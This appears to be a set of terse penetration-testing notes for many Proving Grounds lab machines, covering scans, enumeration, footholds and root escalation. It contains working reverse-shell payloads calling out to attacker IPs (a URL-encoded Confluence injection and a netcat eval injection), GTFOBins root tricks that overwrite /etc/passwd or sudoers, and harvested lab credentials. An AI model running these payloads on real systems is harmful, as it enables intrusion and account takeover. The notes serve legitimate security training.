Linux

Bitforge

Proving Grounds · Linux · 2025-09-08

Nmap

PORT     STATE  SERVICE    REASON         VERSION
22/tcp   open   ssh        syn-ack ttl 61 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5
80/tcp   open   http       syn-ack ttl 61 Apache httpd
  | http-git:
  |   192.168.133.186:80/.git/
  |     Git repository found!
  |     .git/config matched patterns 'user'
  |     Repository description: Unnamed repository; edit this file 'description' to name the...
  |_    Last commit message: created .env to store the database configuration
  | http-methods:
  |_  Supported Methods: GET HEAD POST OPTIONS
  |_http-title: Did not follow redirect to http://bitforge.lab/
  |_http-server-header: Apache
3306/tcp open   mysql      syn-ack ttl 61 MySQL 8.0.40-0ubuntu0.24.04.1

Enumeration

80

  • bitforge.lab
  • http://plan.bitforge.lab — Simple Online Planning v1.52.01, vulnerable? exploit-db.com/exploits/52082 (authenticated RCE)
  • .git exposed:
// config
[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
[user]
    email = mcsam@bitforge.lab
    name = McSam Ardayfio

// git show 18833b811e967ab8bec631344a6809aa4af59480
+$dbHost = 'localhost'; // Change if your database is hosted elsewhere
+$dbName = 'bitforge_customer_db';
+$username = 'BitForgeAdmin';
+$password = 'B1tForG3S0ftw4r3S0lutions';

3306

  • SQL creds found in .git work — database soplanning:
    • admin:77ba9273d4bcfa9387ae8652377f4c189e5a47ee — hash bruteforce? hash overwrite?
    • security key: a5eaea3ccc1268f62d081460bb32fb67
    • SOPLANNING_API_KEY_VALUE: 0b6038ad-d400-11ef-bf32-00505695ee43
  • Used the SOPlanning database directly (tags: mysql_commands, update_table):
UPDATE planning_user SET password=SHA1('admin1') WHERE login='admin';
  • Analysed the source code and found the prefix/postfix used before password hashing
  • Used the same algorithm to create a custom password hash and updated the database
  • Logged in to plan.bitforge.lab

Foothold

Vulnerability

  • Unauthenticated RCE in SOPlanning, exploitable using the login credentials (modified above)

Exploit

Result

  • Shell as www-data

Privilege Escalation

// netstat
127.0.0.1:33060
root  1392  0.0  0.4 313824  8576 ?  Ssl  13:44  0:00 /usr/libexec/upowerd
/var/www/bitforge.lab/public_html/.env
/var/www/plan.bitforge.lab/public_html/smarty/templates_c/0a1a8b00c6c4035c6743363c60ac060d2bea0a05_4.file.en.txt.php
/usr/bin/flask_password_changer

# possible ssh keys
/var/www/plan.bitforge.lab/public_html/vendor/firebase/php-jwt/README.md
/var/www/plan.bitforge.lab/public_html/vendor/tecnickcom/tcpdf/examples/data/cert/tcpdf.crt
/var/www/plan.bitforge.lab/public_html/vendor/phpseclib/phpseclib/phpseclib/Crypt/RSA/Formats/Keys/PKCS8.php
/var/www/plan.bitforge.lab/public_html/vendor/phpseclib/phpseclib/phpseclib/Crypt/RSA/Formats/Keys/PKCS1.php
/var/www/plan.bitforge.lab/public_html/vendor/phpseclib/phpseclib/phpseclib/Crypt/RSA/Formats/Keys/PSS.php
/var/www/plan.bitforge.lab/public_html/vendor/phpseclib/phpseclib/phpseclib/Crypt/DH/Formats/Keys/PKCS8.php
/var/www/plan.bitforge.lab/public_html/vendor/phpseclib/phpseclib/phpseclib/Crypt/EC/Formats/Keys/PKCS8.php
/var/www/plan.bitforge.lab/public_html/vendor/phpseclib/phpseclib/phpseclib/Crypt/EC/Formats/Keys/PKCS1.php
/var/www/plan.bitforge.lab/public_html/vendor/phpseclib/phpseclib/phpseclib/Crypt/DSA/Formats/Keys/PKCS8.php
/var/www/plan.bitforge.lab/public_html/vendor/phpseclib/phpseclib/phpseclib/Crypt/DSA/Formats/Keys/PKCS1.php
/var/www/plan.bitforge.lab/public_html/vendor/phpseclib/phpseclib/phpseclib/Crypt/Common/Formats/Keys/OpenSSH.php
/var/www/plan.bitforge.lab/public_html/vendor/phpseclib/phpseclib/phpseclib/Crypt/Common/Formats/Keys/PKCS8.php
/var/www/plan.bitforge.lab/public_html/vendor/phpseclib/phpseclib/phpseclib/Crypt/Common/Formats/Keys/PKCS1.php
  • pspy output caught a command with plaintext creds: mysqldump -u jack -pj4cKF0rg3@445 soplanning
  • j4cKF0rg3@445 — SSH login to jack: Success

JACK

# sudo -l output
(root) NOPASSWD: /usr/bin/flask_password_changer
  • Edited app.py in /opt for privilege escalation, then ran /usr/bin/flask_password_changer with sudo — easy peasy.

Bullybox

Proving Grounds · Linux · 2025-09-09

Nmap

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.52 ((Ubuntu))
  |_http-title: Site doesn't have a title (text/html).
  | http-methods:
  |_  Supported Methods: POST OPTIONS HEAD GET
  |_http-server-header: Apache/2.4.52 (Ubuntu)

Enumeration

80

  • BoxBilling
  • Release 4.22-beta.1.5 (2022-4-3)? Vulnerable to RCE
  • Dumped .git repository
  • Found admin credentials

Foothold

  • Used admin credentials to run the RCE exploit

Privilege Escalation

  • The logged-in user is in the sudo group

ClamAV

Proving Grounds · Linux · 2025-09-11

Nmap

PORT      STATE SERVICE     REASON         VERSION
22/tcp    open  ssh         syn-ack ttl 61 OpenSSH 3.8.1p1 Debian 8.sarge.6
25/tcp    open  smtp        syn-ack ttl 61 Sendmail 8.13.4/8.13.4/Debian-3sarge3
  |_ 2.0.0 This is sendmail version 8.13.4 2.0.0 Topics: 2.0.0 HELO EHLO
80/tcp    open  http        syn-ack ttl 61 Apache httpd 1.3.33
  |_http-title: Ph33r
  | http-methods:
  |   Supported Methods: GET HEAD OPTIONS TRACE
  |_  Potentially risky methods: TRACE
  |_http-server-header: Apache/1.3.33 (Debian GNU/Linux)
139/tcp   open  netbios-ssn syn-ack ttl 61 Samba smbd 3.X - 4.X
199/tcp   open  smux        syn-ack ttl 61 Linux SNMP multiplexer
445/tcp   open  netbios-ssn syn-ack ttl 61 Samba smbd 3.0.14a-Debian
60000/tcp open  ssh         syn-ack ttl 61 OpenSSH 3.8.1p1 Debian 8.sarge.6

Enumeration

80

  • Got some binary data => ifyoudontpwnmeuran0b
  • Ph33r

445/139

  • Null session? Yup
  • 0XBABE, 0xbabe server (Samba 3.0.14a-Debian), “brave pig”
  • Version vulnerable? Don’t think so
  • Bruteforce?

screenshot

25 / ESMTP Sendmail 8.13.4/8.13.4/Debian-3sarge3

  • Trying user enum…
  • Version vulnerable? Yes, because it’s backed by ClamAV protection
  • So exploit-db.com/exploits/4761 works — direct root exploit

199

  • Hints at SNMP usage — snmp-check $ip reveals entire system info, found ClamAV running

Foothold

  • Used the Sendmail/ClamAV exploit to obtain a direct root shell.

Privilege Escalation

Not needed — the foothold exploit landed as root directly.

Cockpit

Proving Grounds · Linux · 2025-09-12

Nmap

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu
80/tcp   open  http    syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
  | http-methods:
  |_  Supported Methods: HEAD GET POST OPTIONS
  |_http-title: blaze
  |_http-server-header: Apache/2.4.41 (Ubuntu)
9090/tcp open  http    syn-ack ttl 61 Cockpit web service 198 - 220
  | http-methods:
  |_  Supported Methods: GET HEAD
  |_http-title: Did not follow redirect to https://192.168.177.10:9090/

Enumeration

80

  • Ffuf done, source analysis
  • Found /login.php
  • Used seclist's SQLi login bypass payloads
  • Logged in — creds: canttouchhhthiss@455152, thisscanttbetouchedd@455152
  • Usernames: james, cameron
  • Logged in to the Cockpit portal

9090

  • Ffuf? Nothing much
  • Source analysis — possible version: Ubuntu 20.04.6 LTS is version 215
  • Added a public key to james’s account

Foothold

  • Logged into james’s SSH

Privilege Escalation

  • Sudo perms for tar — GTFOBins:
echo commander ALL=(ALL) ALL >> sudoers

Exfiltrated

Proving Grounds · Linux · 2025-09-14

Nmap

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
  | http-methods:
  |_  Supported Methods: GET HEAD POST OPTIONS
  |_http-title: Did not follow redirect to http://exfiltrated.offsec/
  | http-robots.txt: 7 disallowed entries
  | /backup/ /cron/? /front/ /install/ /panel/ /tmp/
  |_/updates/
  |_http-server-header: Apache/2.4.41 (Ubuntu)
  |_http-favicon: Unknown favicon MD5: 09BDDB30D6AE1

Enumeration

80

  • Subrion CMS => version? 4.2.1
  • admin:admin default creds

Foothold

  • msfconsole has an RCE module for 4.2.1

Privilege Escalation

Tags noted: exiftool vulnerability, exiftool RCE.

Extplorer

Proving Grounds · Linux · 2025-09-16

Nmap

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))

Enumeration

80

  • WordPress setup page — needs creds
  • Version 6.2 => vulnerable to directory traversal
  • Abusing the setup-config.php phase by hosting a database and supplying its credentials (tags: sqlhost, wordpress-setup-abuse, remotesqlhost):
# step1 => edit /etc/mysql/mariadb.conf.d/50-server.cnf
nano /etc/mysql/mariadb.conf.d/50-server.cnf
bind-address = 0.0.0.0

# step2 => restart mysql service
sudo systemctl restart mysqld.service

# step3 => add a database user and create a table
sudo mysql
create user 'test' identified by 'testingyou' password expire;
GRANT ALL PRIVILEGES ON *.* TO 'test' WITH GRANT OPTION;
create database testdb;
exit;

mysql -u test -p
set password = password("test");
  • Supplied the credentials and database name to the WordPress installation page.
  • Found endpoint /filemanager — logged in using admin:admin, looks like files can be edited.

Foothold

  • Edited and dropped a PHP shell.

Privilege Escalation

[+] [CVE-2021-4034] PwnKit
  Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
  Exposure: probable
  Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
  Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

array('dora','$2a$08$zyiNvVoP/UuSMgO2rKDtLuox.vYj.3hZPVYq3i4oG3/CtgET7CjjS','/var/www/html','http://localhost','1','','0',1)
  • Got dora’s user password — hash cracked: doraemon
  • dora user is in the disk group (tags: disk, diskgroup)
  • Referred to GTFOBins and exploited it to read/write arbitrary files.

Fanatastic

Proving Grounds · Linux · 2025-09-17

Nmap

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu
3000/tcp open  http    syn-ack ttl 61 Grafana http
  |_http-trane-info: Problem with XML parsing of /evox/about
  | http-methods:
  |_  Supported Methods: GET HEAD POST OPTIONS
  | http-title: Grafana
  |_Requested resource was /login
  | http-robots.txt: 1 disallowed entry
  |_/
  |_http-favicon: Unknown favicon MD5: F69DADBD5936359AF76AAB84559E849F
9090/tcp open  http    syn-ack ttl 61 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
  |_http-favicon: Unknown favicon MD5: 5EE43B38986A144D6B5022EA8C8F748F
  | http-title: Prometheus Time Series Collection and Processing Server
  |_Requested resource was /graph
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X

Enumeration

9090 — Prometheus 2.32.1

3000

  • Grafana v8.3.0 => vulnerable to Directory Traversal
  • /usr/share/exploitdb/exploits/multiple/webapps/50581.py

22

Foothold

  • Found the Grafana DB file /lib/grafana/grafana.db
  • Got the admin hash => password crack? Negative
  • Cracked the BasicAuthPassword instead — github.com/jas502n/Grafana-CVE-2021-43798
  • sysadmin:SuperSecureP@ssw0rd
  • SSH, lessgoooo

Privilege Escalation

Tags noted: disk group, Linux groups, disk, Grafana, Prometheus.

Fired

Proving Grounds · Linux · 2025-09-19

Nmap

PORT     STATE SERVICE             REASON         VERSION
22/tcp   open  ssh                 syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
9090/tcp open  hadoop-tasktracker  syn-ack ttl 61 Apache Hadoop
  |_http-title: Site doesn't have a title (text/html).
  | http-methods:
  |_  Supported Methods: GET HEAD POST OPTIONS
  | hadoop-datanode-info:
  |_  Logs: jive-ibtn jive-btn-gradient
  | hadoop-tasktracker-info:
  |_  Logs: jive-ibtn jive-btn-gradient
  |_http-favicon: Unknown favicon MD5: E4888EE8491B4EB75501996E41AF6460
9091/tcp open  ssl/hadoop-datanode syn-ack ttl 61 Apache Hadoop
  |_http-title: Site doesn't have a title (text/html).
  | hadoop-tasktracker-info:
  |_  Logs: jive-ibtn jive-btn-gradient
  |_ssl-date: TLS randomness does not represent time
  | http-methods:
  |_  Supported Methods: GET HEAD POST OPTIONS
  |_http-favicon: Unknown favicon MD5: E4888EE8491B4EB75501996E41AF6460
  | hadoop-datanode-info:
  |_  Logs: jive-ibtn jive-btn-gradient

Enumeration

9090/9091

Foothold

  • Used the enumerated blog page to exploit and drop a reverse shell.

Privilege Escalation

-rwsr-sr-x 1 daemon daemon 55K Nov 12 2018 /usr/bin/at ---> RTru64_UNIX_4.0g (CVE-2002-1614)

INSERT INTO OFPROPERTY VALUES('admin.authorizedJIDs','admin@localhost,b99aid@localhost',0,NULL)
INSERT INTO OFPROPERTY VALUES('cache.MUCService''conference''Rooms.maxLifetime','-1',0,NULL)
INSERT INTO OFPROPERTY VALUES('cache.MUCService''conference''Rooms.size','-1',0,NULL)
INSERT INTO OFPROPERTY VALUES('mail.configured','true',0,NULL)
INSERT INTO OFPROPERTY VALUES('mail.debug','false',0,NULL)
INSERT INTO OFPROPERTY VALUES('mail.smtp.host','localhost',0,NULL)
INSERT INTO OFPROPERTY VALUES('mail.smtp.password','OpenFireAtEveryone',0,NULL)
INSERT INTO OFPROPERTY VALUES('mail.smtp.port','25',0,NULL)
INSERT INTO OFPROPERTY VALUES('mail.smtp.ssl','false',0,NULL)
INSERT INTO OFPROPERTY VALUES('mail.smtp.username','root',0,NULL)
INSERT INTO OFPROPERTY VALUES('passwordKey','EOAJUe2Sqdlfqjk',0,NULL)
  • Found root credentials root:OpenFireAtEveryone
  • Command used: grep -ir "pass" /var/lib/openfire/*

Flu

Proving Grounds · Linux · 2025-09-20

Recon Summary

IP: 192.168.125.41
OS: Linux

Nmap Scan

PORT     STATE SERVICE  REASON         VERSION
22/tcp   open  ssh      syn-ack ttl 61 OpenSSH 9.0p1 Ubuntu 1ubuntu8.5
8090/tcp open  http     syn-ack ttl 61 Apache Tomcat (language: en)
  | http-methods:
  |_  Supported Methods: GET HEAD POST OPTIONS
  |_http-favicon: Unknown favicon MD5: 966E60F8EB85B7EA43A7B0095F3E2336
  | http-title: Log In - Confluence
  |_Requested resource was /login.action?os_destination=%2Findex.action&permissionViolation=true
  |_http-trane-info: Problem with XML parsing of /evox/about
8091/tcp open  jamlink? syn-ack ttl 61
  | fingerprint-strings:
  |   FourOhFourRequest:
  |     HTTP/1.1 204 No Content
  |     Server: Aleph/0.4.6
  |     Access-Control-Allow-Methods: OPTIONS, GET, PUT, POST

Enumeration

8090 — Powered by Atlassian Confluence 7.13.6. CVEs? Yesss.

8091

Foothold

Vulnerability

Exploit

/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/10.0.0.28/1270%200%3E%261%27%29.start%28%29%22%29%7D/

Result — reverse shell obtained.

screenshot

Privilege Escalation

Findings

  • 127.0.0.1:3306, 127.0.0.1:33060, 127.0.0.1:8000
  • Found creds: confluence:HoldingOn12
  • Admin hash: {PKCS5S2}MCB0MaBA39GjOQb3wG0ioM7w+pPdQXdy5GskVAtS5/Ef0fCnvr8jPMdZ2CDhM0ke
  • [CVE-2021-4034] PwnKit
  • CMD: UID=0 PID=45589 | /bin/bash /opt/log-backup.sh — a root cron job executing a script owned by us.

Exploit

  • Overwrote /opt/log-backup.sh to get a root shell.

Hetemit

Proving Grounds · Linux · 2025-09-22

Nmap

PORT      STATE SERVICE     REASON         VERSION
21/tcp    open  ftp         syn-ack ttl 61 vsftpd 3.0.3
  | ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp    open  ssh         syn-ack ttl 61 OpenSSH 8.0 (protocol 2.0)
80/tcp    open  http        syn-ack ttl 61 Apache httpd 2.4.37 ((centos))
  | http-methods:
  |   Supported Methods: GET POST OPTIONS HEAD TRACE
  |_  Potentially risky methods: TRACE
  |_http-server-header: Apache/2.4.37 (centos)
139/tcp   open  netbios-ssn syn-ack ttl 61 Samba smbd 4
445/tcp   open  netbios-ssn syn-ack ttl 61 Samba smbd 4
18000/tcp open  biimenu?    syn-ack ttl 61
  | fingerprint-strings:
  |   GetRequest, HTTPOptions:
  |     HTTP/1.0 403 Forbidden
  |     <title>Action Controller: Exception caught</title>
50000/tcp open  http        syn-ack ttl 61 Werkzeug httpd 1.0.1 (Python 3.6.8)
  |_http-title: Site doesn't have a title (text/html; charset=utf-8).
  |_http-server-header: Werkzeug/1.0.1 Python/3.6.8
  | http-methods:
  |_  Supported Methods: GET OPTIONS HEAD

Enumeration

21

  • Anonymous login allowed
ftp: Can't connect to `192.168.123.117:20180': Connection timed out
200 EPRT command successful. Consider using EPSV.

80 / Apache httpd 2.4.37 — ffuf negative

50000

  • Has two endpoints. Contains SSTI

445/139

  • Contains a file share: Cmeeks Disk cmeeks Files
  • Need creds, no null session — login bruteforce with cmeeks? Negative

18000

  • Title: Protomba
  • ffuf — requires an invite code to register
  • No default login creds
  • /home/cmeeks/register_hetemit

22

Foothold

  • Exploited what looked like SSTI on port 50000 /verify — turned out it’s not SSTI, it’s user input landing in an eval/sync:
code={5 if 5==52 else print(os.system('nc 192.168.45.154 80 -e /bin/bash'))}

Privilege Escalation

(root) NOPASSWD: /sbin/halt, /sbin/reboot, /sbin/poweroff
127.0.0.1:5432

/etc/cron.daily: -rwxr-xr-x. 1 root root 189 Jan  4 2018 logrotate
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
/home/cmeeks/register_hetemit/config/environments
/home/cmeeks/register_hetemit/config/master.key
-rwsr-xr-x. 1 root root 65K Nov  8 2019 /usr/bin/crontab

database: register_hetemit
username: railsdev
password: OpenProduceTreat153
  • There’s a write permission on the port 50000 service config file — edited the user=root setting, rebooted with the sudo permission, and got a reverse shell again.

LaVita

Proving Grounds · Linux · 2025-09-23

Nmap

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 8.4p1 Debian 5+deb11u2
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.56 ((Debian))
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS
|_http-title: W3.CSS Template
|_http-server-header: Apache/2.4.56 (Debian)

Enumeration

80

  • Laravel 8.4.0
  • Version is possibly vulnerable — /usr/share/exploitdb/exploits/php/webapps/49424.py

22

Foothold

Privilege Escalation

Check if you can mount unmounted devices
UUID=009bf938-7706-4d30-8110-284862c95c20 /               ext4    errors=remount-ro 0       1
UUID=52efb29a-2bf8-4850-880a-4830cb9dd9bb none            swap    sw              0       0
/dev/sr0        /media/cdrom0   udf,iso9660 user,noauto     0       0

DB_PASSWORD=sdfquelw0kly9jgbx92
MAIL_PORT=2525
REDIS_PASSWORD=null
LOG_LEVEL=debug
REDIS_HOST=127.0.0.1
AWS_DEFAULT_REGION=us-east-1
MIX_PUSHER_APP_CLUSTER=mt1
PWD=/tmp
  • Found a writable cron job owned by another user
  • Lateral privesc to the target user
  • That user has sudo permission on the composer binary → privesc

Marketing

Proving Grounds · Linux · 2025-09-25

Nmap

22/tcp open  ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
  |_http-server-header: Apache/2.4.41 (Ubuntu)
  | http-methods:
  |_  Supported Methods: GET POST OPTIONS HEAD
  |_http-title: marketing.pg - Digital Marketing for you!

Enumeration

80

Foothold

  • Got a reverse shell with the exploit above.

Privilege Escalation

  • Found credentials for t.miller: EzPwz2022_dev1$$23!!
  • t.miller can run a script as m.sander
  • Bypassed protections in the script to find hidden files
  • The file contains m.sander’s credentials
  • m.sander is in the sudo group

Mzeeav

Proving Grounds · Linux · 2025-09-26

Recon Summary

IP: 192.168.125.33
OS: Linux

Nmap Scan

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 8.4p1 Debian 5+deb11u2
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.56 ((Debian))
  |_http-title: MZEE-AV - Check your files
  |_http-server-header: Apache/2.4.56 (Debian)
  | http-methods:
  |_  Supported Methods: POST OPTIONS HEAD GET

Enumeration

80

  • ffuf
  • Found a backup of the entire web application: /backups/backup.zip
  • Contains a file upload feature

Foothold

Vulnerability

  • Analysed upload.php source from the backup
  • Has a magic byte filter on file uploads — vulnerable to file content tampering

Exploit

  • Added “MZ” to the start of a PHP reverse shell file’s content

Result — shell obtained.

screenshot

Privilege Escalation

Findings

  • Odd binary /opt/fileS with setuid
  • Checked its version anyway:
/opt/fileS --version
find (GNU findutils) 4.8.0
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later.
  • It’s find, renamed to fileS.

Exploit

  • GTFOBins on find:
/opt/fileS -exec /bin/sh -p \; -quit
  • Root, lessgooo.

Nukem

Proving Grounds · Linux · 2025-09-28

Nmap

PORT      STATE SERVICE     REASON         VERSION
22/tcp    open  ssh         syn-ack ttl 61 OpenSSH 8.3 (protocol 2.0)
80/tcp    open  http        syn-ack ttl 61 Apache httpd 2.4.46 ((Unix) PHP/7.4.10)
  |_http-title: Retro Gamming — Just another WordPress site
  |_http-generator: WordPress 5.5.1
  | http-methods:
  |_  Supported Methods: GET HEAD POST OPTIONS
  |_http-server-header: Apache/2.4.46 (Unix) PHP/7.4.10
3306/tcp  open  mysql       syn-ack ttl 61 MariaDB 10.3.24 or later
5000/tcp  open  http        syn-ack ttl 61 Werkzeug httpd 1.0.1 (Python 3.8.5)
  |_http-title: 404 Not Found
  |_http-server-header: Werkzeug/1.0.1 Python/3.8.5
13000/tcp open  http        syn-ack ttl 61 nginx 1.18.0
  |_http-server-header: nginx/1.18.0
  | http-methods:
  |_  Supported Methods: GET HEAD
  |_http-title: Login V14
36445/tcp open  netbios-ssn syn-ack ttl 61 Samba smbd 4

Enumeration

80

  • WordPress theme: news-vibrant by CodeVibrant
  • Username: Admin
  • Vulnerable theme/plugin? Yep — Simple File List 4.2.2 file upload vulnerability
  • exploit-db.com/exploits/48979

5000 / Python 3.8.5 — ffuf negative (500 on /tracks, /employees)

13000 / nginx — login page, creds required

36445 — connection failed (NT_STATUS_IO_TIMEOUT)

22

3306 — unauthorized

Foothold

  • Used WPSCAN to find installed plugins and their versions.
  • Exploited the file upload vulnerability in the WordPress plugin: exploit-db.com/exploits/48979

Privilege Escalation

  • SSH login creds => commander:CommanderKeenVorticons1990
  • DOSBox is setuid to root
  • GTFOBins == root:
pw=$(openssl passwd Password)
cp /etc/passwd /tmp
echo sarvesh:${pw}:0:0:root:/root:/bin/bash >> /tmp/passwd
dosbox -c 'mount c /' -c 'copy c:\tmp\passwd c:\etc\passwd' -c exit

OR

# edit sudoers file:
echo commander ALL=(ALL) ALL >> sudoers

Ochima

Proving Grounds · Linux · 2025-09-30

Nmap

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    syn-ack ttl 61 Apache httpd 2.4.52 ((Ubuntu))
  | http-methods:
  |_  Supported Methods: POST OPTIONS HEAD GET
  |_http-server-header: Apache/2.4.52 (Ubuntu)
  |_http-title: Apache2 Ubuntu Default Page: It works
8338/tcp open  http    syn-ack ttl 61 Python http.server 3.5 - 3.10
  |_http-title: Maltrail
  | http-robots.txt: 1 disallowed entry
  |_/
  |_http-server-header: Maltrail/0.52
  | http-methods:
  |_  Supported Methods: GET POST

Enumeration

8338/http

80/http

22/ssh

Foothold

  • Via the Maltrail exploit.

Privilege Escalation

  • Backup file of /etc
  • Tried shadow hash bruteforce: john --format=crypt hash --wordlist=/usr/share/wordlists/rockyou.txt
  • Looked for writable files outside home directories owned by others:
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
  • Found a backup script, writable, but owned by root — high chance it’s part of root’s cron job.
  • Modified the backup script to add setuid to the bash binary. Done.

PC

Proving Grounds · Linux · 2025-10-01

Nmap

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9
8000/tcp open  http    syn-ack ttl 61 ttyd 1.7.3-a2312cb (libwebsockets 3.2.0)
  |_http-title: ttyd - Terminal
  |_http-server-header: ttyd/1.7.3-a2312cb (libwebsockets/3.2.0)
  | http-methods:
  |_  Supported Methods: GET HEAD POST OPTIONS

Enumeration

8000 — Terminal

Foothold

  • Terminal exposed directly on port 8000.

Privilege Escalation

  • python3 /opt/rpc.py => rpc library is vulnerable to RCE, version 0.6.0
  • Sudo version 1.8.31
# unmounted filesystems
/dev/disk/by-id/dm-uuid-LVM-oozS1Psfbd0yGJw7GP46obC3Z47PqMSvyhRbbIPHmEbg8r42t9b230PoeLzexb6m / ext4 defaults 0 1
/dev/disk/by-uuid/93bda39f-263a-4008-b15c-51c9d87c566b /boot ext4 defaults 0 1
  • [CVE-2021-4034] PwnKit
  • Vulnerable to CVE-2021-3560
  • Systemd version and vulnerabilities: 245.4 - 3.22
PGP Related Files:
Found: /home/user/.gnupg
drwx------ 3 user user 4096 Apr 18 20:40 .
srwx------ 1 user user    0 Apr 18 20:39 S.gpg-agent

Payday

Proving Grounds · Linux · 2025-10-03

Nmap

PORT    STATE SERVICE     REASON         VERSION
22/tcp  open  ssh         syn-ack ttl 61 OpenSSH 4.6p1 Debian 5build1 (protocol 2.0)
80/tcp  open  http        syn-ack ttl 61 Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6)
  |_http-server-header: Apache/2.2.4 (Ubuntu) PHP/5.2.3-1ubuntu6
  | http-methods:
  |_  Supported Methods: GET HEAD POST OPTIONS
  |_http-title: CS-Cart. Powerful PHP shopping cart software
110/tcp open  pop3        syn-ack ttl 61 Dovecot pop3d
139/tcp open  netbios-ssn syn-ack ttl 61 Samba smbd 3.X - 4.X
143/tcp open  imap        syn-ack ttl 61 Dovecot imapd
445/tcp open  netbios-ssn syn-ack ttl 61 Samba smbd 3.0.26a (workgroup: MSHOME)
993/tcp open  ssl/imap    syn-ack ttl 61 Dovecot imapd
995/tcp open  ssl/pop3    syn-ack ttl 61 Dovecot pop3d

Enumeration

80

  • Creds: admin:admin
  • CS-Cart version 1.3.3? Vulnerable to many CVEs
  • Yes — vulnerable to path traversal

139/445 — null session? Yes. Users: mysql, postfix, dovecot

110

143

Foothold

Privilege Escalation

$db_host = 'localhost';
$db_name = 'cscart';
$db_user = 'root';
$db_password = 'root';
  • ./addons/product_reviews/config.php, ./addons/related_products/config.php, ./classes/pear/PEAR.php, ./core/db_mysql.php, ./config.php
  • -rwxr-xr-x 1 root root 473 Oct 3 2007 find
/dev/log — Read/Write (Weak Permissions: 666), owned by root
/var/run/dovecot/auth-worker.4700
/var/run/dovecot/dict-server — Read/Write/Execute (Weak Permissions: 777), owned by root
/var/run/mysqld/mysqld.sock — Read/Write/Execute (Weak Permissions: 777)
/var/run/vmware/guestServicePipe — Read/Write (Weak Permissions: 666), owned by root
  • /root/.ssh/authorized_keys, /var/spool/samba
  • brett:ilovesecuritytoo
  • Found a way to log in as patrick via SSH — has sudo permissions. Done.

Pelican

Proving Grounds · Linux · 2025-10-04

Nmap

PORT      STATE SERVICE     REASON         VERSION
22/tcp    open  ssh         syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2
139/tcp   open  netbios-ssn syn-ack ttl 61 Samba smbd 3.X - 4.X
445/tcp   open  netbios-ssn syn-ack ttl 61 Samba smbd 4.9.5-Debian
631/tcp   open  ipp         syn-ack ttl 61 CUPS 2.2
  |_http-title: Forbidden - CUPS v2.2.10
  | http-methods:
  |   Supported Methods: GET HEAD OPTIONS POST PUT
  |_  Potentially risky methods: PUT
  |_http-server-header: CUPS/2.2 IPP/2.1
2181/tcp  open  zookeeper   syn-ack ttl 61 Zookeeper 3.4.6-1569965
2222/tcp  open  ssh         syn-ack ttl 61 OpenSSH 7.9p1 Debian
8080/tcp  open  http        syn-ack ttl 61 Jetty 1.0
  |_http-title: Error 404 Not Found
  |_http-server-header: Jetty(1.0)
8081/tcp  open  http        syn-ack ttl 61 nginx 1.14.2
  | http-methods:
  |_  Supported Methods: GET HEAD POST OPTIONS
  |_http-server-header: nginx/1.14.2
46295/tcp open  java-rmi    syn-ack ttl 61 Java RMI

Enumeration

  • Useful word: Pelican

8080 — Jetty/1.0, ffuf negative

8081

445/139 — null session? Yes sir. S-1-22-1-1000 Unix User\charles (Local User)

2181 — seems unauthenticated? Allows node creation

631 — IPP, forbidden access. X-Forwarded-For couldn’t bypass.

46295 — exploit-db.com/exploits/17535 — should check this

22

2222

Foothold

  • Exploited the unauthenticated RCE in Exhibitor/Zookeeper on port 8081.

Privilege Escalation

  • /usr/bin/password-store — 490
